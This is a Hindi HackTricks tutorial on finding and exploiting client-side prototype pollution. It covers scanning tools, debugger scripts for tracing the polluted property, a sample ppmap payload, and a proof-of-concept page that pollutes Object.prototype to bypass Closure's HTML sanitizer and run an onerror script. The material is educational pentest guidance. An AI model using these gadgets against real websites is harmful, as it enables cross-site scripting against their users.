क्लाइंट साइड प्रोटोटाइप प्रदूषण

Reading time: 6 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

स्वचालित उपकरणों का उपयोग करके खोज करना

उपकरण https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap और https://github.com/kosmosec/proto-find का उपयोग प्रोटोटाइप प्रदूषण कमजोरियों को खोजने के लिए किया जा सकता है।

इसके अलावा, आप ब्राउज़र एक्सटेंशन PPScan का उपयोग करके स्वचालित रूप से उन पृष्ठों को स्कैन कर सकते हैं जिन्हें आप प्रोटोटाइप प्रदूषण कमजोरियों के लिए एक्सेस करते हैं।

यह पता लगाना कि एक प्रॉपर्टी कहाँ उपयोग की जाती है

javascript
// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype, "potentialGadget", {
__proto__: null,
get() {
console.trace()
return "test"
},
})

Prototype Pollution के मूल कारण का पता लगाना

एक बार जब किसी भी उपकरण द्वारा एक prototype pollution सुरक्षा कमजोरी की पहचान की जाती है, और यदि कोड अत्यधिक जटिल नहीं है, तो आप Chrome Developer Tools में location.hash, decodeURIComponent, या location.search जैसे कीवर्ड्स की खोज करके कमजोरी को ढूंढ सकते हैं। यह दृष्टिकोण आपको JavaScript कोड के कमजोर हिस्से को सटीक रूप से पहचानने की अनुमति देता है।

बड़े और अधिक जटिल कोडबेस के लिए, कमजोर कोड का पता लगाने के लिए एक सीधा तरीका निम्नलिखित चरणों में शामिल है:

  1. एक उपकरण का उपयोग करें ताकि एक सुरक्षा कमजोरी की पहचान की जा सके और एक payload प्राप्त किया जा सके जो कंस्ट्रक्टर में एक प्रॉपर्टी सेट करने के लिए डिज़ाइन किया गया हो। ppmap द्वारा प्रदान किया गया एक उदाहरण इस तरह दिख सकता है: constructor[prototype][ppmap]=reserved
  2. उस JavaScript कोड की पहली पंक्ति पर एक ब्रेकपॉइंट सेट करें जो पृष्ठ पर निष्पादित होगा। इस payload के साथ पृष्ठ को रिफ्रेश करें, इस ब्रेकपॉइंट पर निष्पादन को रोकते हुए।
  3. जब JavaScript निष्पादन रुका हो, तो JS कंसोल में निम्नलिखित स्क्रिप्ट निष्पादित करें। यह स्क्रिप्ट संकेत देगी जब 'ppmap' प्रॉपर्टी बनाई जाती है, जिससे इसके मूल का पता लगाने में मदद मिलेगी:
javascript
function debugAccess(obj, prop, debugGet = true) {
var origValue = obj[prop]

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet) debugger
return origValue
},
set: function (val) {
debugger
origValue = val
},
})
}

debugAccess(Object.prototype, "ppmap")
  1. Sources टैब पर वापस जाएं और "Resume script execution" का चयन करें। JavaScript निष्पादन जारी रहेगा, और 'ppmap' प्रॉपर्टी अपेक्षित रूप से प्रदूषित हो जाएगी। प्रदान किए गए स्निपेट का उपयोग करके 'ppmap' प्रॉपर्टी के प्रदूषित होने के सटीक स्थान की पहचान करना आसान होता है। Call Stack की जांच करके, प्रदूषण होने वाले विभिन्न स्टैक्स को देखा जा सकता है।

जब यह तय करने की बात आती है कि किस स्टैक की जांच करनी है, तो अक्सर JavaScript लाइब्रेरी फ़ाइलों से जुड़े स्टैक्स को लक्षित करना उपयोगी होता है, क्योंकि प्रोटोटाइप प्रदूषण अक्सर इन लाइब्रेरीज़ के भीतर होता है। लाइब्रेरी फ़ाइलों से जुड़े स्टैक की पहचान करें (जो दाईं ओर दिखाई देता है, मार्गदर्शन के लिए प्रदान की गई छवि के समान)। कई स्टैक्स के मामलों में, जैसे कि पंक्तियों 4 और 6 पर, तार्किक विकल्प पंक्ति 4 का स्टैक है, क्योंकि यह प्रदूषण की प्रारंभिक घटना का प्रतिनिधित्व करता है और इस प्रकार भेद्यता का मूल कारण है। स्टैक पर क्लिक करने से आपको संवेदनशील कोड पर ले जाया जाएगा।

https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg

स्क्रिप्ट गैजेट्स खोजना

गैजेट वह कोड है जिसका दुरुपयोग तब किया जाएगा जब एक PP भेद्यता खोजी जाएगी

यदि एप्लिकेशन सरल है, तो हम srcdoc/innerHTML/iframe/createElement जैसे कीवर्ड्स के लिए खोज कर सकते हैं और स्रोत कोड की समीक्षा कर सकते हैं और देख सकते हैं कि क्या यह जावास्क्रिप्ट निष्पादन की ओर ले जाता है। कभी-कभी, उल्लेखित तकनीकें गैजेट्स नहीं खोज पाती हैं। उस मामले में, शुद्ध स्रोत कोड समीक्षा कुछ अच्छे गैजेट्स का खुलासा करती है जैसे कि नीचे दिया गया उदाहरण।

उदाहरण: मिथिल लाइब्रेरी कोड में PP गैजेट खोजना

इस लेख को देखें: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

संवेदनशील लाइब्रेरीज़ के लिए पेलोड्स का पुनः संकलन

PP के माध्यम से HTML Sanitizers बायपास

यह शोध PP गैजेट्स को दिखाता है जो कुछ HTML sanitizers लाइब्रेरी द्वारा प्रदान की गई सैनीटाइजेशन को बायपास करने के लिए उपयोग किए जा सकते हैं:

  • sanitize-html
https://research.securitum.com/wp-content/uploads/sites/2/2020/08/image-7.png
  • dompurify
https://research.securitum.com/wp-content/uploads/sites/2/2020/08/image-9.png
  • Closure
html
<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें